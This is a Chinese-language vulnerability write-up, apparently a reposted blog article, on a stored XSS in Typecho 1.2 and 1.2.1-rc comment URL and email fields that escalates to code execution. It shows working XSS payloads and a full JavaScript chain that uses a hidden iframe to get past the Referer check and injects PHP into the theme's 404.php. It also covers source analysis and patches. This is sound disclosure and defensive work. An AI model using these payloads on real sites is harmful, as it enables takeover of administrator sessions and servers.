Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复

Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复


目录

0x1影响版本

0x2 漏洞复现

0x2.1 1.2版本漏洞复现

0x2.2 1.2.1-rc版本漏洞复现

0x2.3 XSS到RCE

0x3 漏洞分析

0x3.1 1.2 漏洞分析

0x3.2 1.2.1-rc 漏洞分析

0x4 漏洞修复

0x4.1 1.2版本修复

0x4.1 1.2.1-rc版本修复


0x1影响版本

Typecho 1.2
Typecho 1.2.1-rc

0x2 漏洞复现

0x2.1 1.2版本漏洞复现

1.2.1-rc存在的漏洞 此版本也存在

1.2.0下载地址

https://github.com/typecho/typecho/releases/download/v1.2.0/typecho.zip

安装完成后来到文章评论处,在网站处写入poc

http://xxxxxx/"></a><script>alert(1)</script><a/href="#

评论完成后可以在前台文章处直接触发

登入管理员来到后台,管理->评论也能触发

0x2.2 1.2.1-rc版本漏洞复现

1.2.1-rc 下载地址

https://github.com/typecho/typecho/archive/refs/tags/v1.2.1-rc.zip

安装好后来到评论随便填个邮箱

然后在提交后抓包将邮箱修改成

"></a><script>alert('1')</script>"@example.com

这个在前端评论是不会触发的,需要在后台处才会触发,因为前台并不输出邮箱

0x2.3 XSS到RCE

接下来是通过js编辑模板文件来进行rce

/admin/theme-editor.php

但是typecho后台操作都有Referer验证,如果Referer不是来自domain/admin/theme-editor.php就会编辑失败所以没办法使用js直接发包来编辑模板因为设置Referer头会无法发送

这里通过js在网页的末尾插入一个iframe元素来打开模板编辑页面,然后通过iframe来发包就能实现携带可用Referer的包,这个注释包括部分代码是利用ChatGpt实现的还是非常不错的

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        // 如果不是,则直接使用主题文件修改页面地址
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性,包括id、src、width、height和onload事件
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
    // 如果isSaved为false
    if (!isSaved) { 
        // 获取iframe内的内容区域和“保存文件”按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段phpinfo代码
        content.value = ('<?php phpinfo(); ?>\n') + oldData;
        // 点击“保存文件”按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();

这里可以在评论处加载js来使用

1.2
http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#

1.2.1-rc
"></a><script/src=http://js地址></script>"@example.com

这里为了演示我直接在控制台执行了不去在调用外部js的方式执行了

然后这里访问模板文件或者让文章404即可触发
/usr/themes/default/404.php/index.php/archives/1/A

0x3 漏洞分析

0x3.1 1.2 漏洞分析

var/Widget/Feedback.php文件第 209 行接收url参数也就是我们填写的网址的时候只进行trim去除前后空白字符处理未进行其他处理

            $comment['author'] = $this->request->filter('trim')->author;
            $comment['mail'] = $this->request->filter('trim')->mail;
            $comment['url'] = $this->request->filter('trim')->url;

同理的还有第 308行

    $trackback['url'] = $this->request->filter('trim')->url;

显示用户评论的代码处var/Widget/Base/Comments.php 文件第 271 行 处输出URL处没进行过滤操作导致的文章页面的以及后台评论管理页面的xss

    public function author(?bool $autoLink = null, ?bool $noFollow = null)
    {
        $autoLink = (null === $autoLink) ? $this->options->commentsShowUrl : $autoLink;
        $noFollow = (null === $noFollow) ? $this->options->commentsUrlNofollow : $noFollow;

        if ($this->url && $autoLink) {
            echo '<a href="' . $this->url. '"'
                . ($noFollow ? ' rel="external nofollow"' : null) . '>' . $this->author . '</a>';
        } else {
            echo $this->author;
        }
    }

0x3.2 1.2.1-rc 漏洞分析

/var/Typecho/Validate.php 第97行的验证邮箱函数

public static function email(string $str): bool
{
    return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
}

使用的是php的filter_var函数FILTER_VALIDATE_EMAIL的过滤器来验证一个字符串是否是有效的电子邮件地址,这个过滤器并不能保证安全,因为一个有效的电子邮件地址仍然可以包含一些恶意的代码

参考

Does PHP's FILTER_VALIDATE_EMAIL provide adequate security? - Stack Overflow

可以看到包含xss payload的邮箱也是可以通过FILTER_VALIDATE_EMAIL验证属于合法邮箱

我去查看了一下typecho1.1的验证发现是使用的正则是到了1.2开始才换到了filter_var导致了漏洞的出现

public static function email($str)
{
    return preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
}

0x4 漏洞修复

0x4.1 1.2版本修复

根据 Typecho 仓库的提交历史,可以查看到 b989459 提交内容来修改三个文件内容来修复评论处的网站处xss

var/Widget/Base/Comments.php
var/Widget/Feedback.php
var/Widget/Options.php

fix #1545 and close #1547 · typecho/typecho@b989459 · GitHub

var/Widget/Base/Comments.php 271行

 echo '<a href="' . $this->url . '"' 

修改为

echo '<a href="' . Common::safeUrl($this->url) . '"'

这部分对评论中的网址输出进行了过滤使用safeUrl函数将url中的非法字符串进行处理

var/Widget/Feedback.php 209,308 行

209

$comment['url'] = $this->request->filter('trim')->url;

修改为

$comment['url'] = $this->request->filter('trim', 'url')->url;

308

   $trackback['url'] = $this->request->filter('trim')->url;

修改为

$trackback['url'] = $this->request->filter('trim', 'url')->url;

这部分是对输入进行了处理

var/Widget/Options.php 85行

 * @property bool $commentsRequireURL

修改为

 * @property bool $commentsRequireUrl

还要根据下方的1.2.1-rc版本修复邮箱处的xss

0x4.1 1.2.1-rc版本修复

参考

fix #1560 · FaithPatrick/typecho@d9f666f · GitHub

1.2.1-rc可以先临时修改/var/Typecho/Validate.php 第99行 修改为

    return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;

修改为

    return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);

修复后重新发包

修复完成后可以根据这篇文章来为typecho来加上一个waf来拦截一些攻击

猜你喜欢

转载自blog.csdn.net/weixin_57099902/article/details/132765267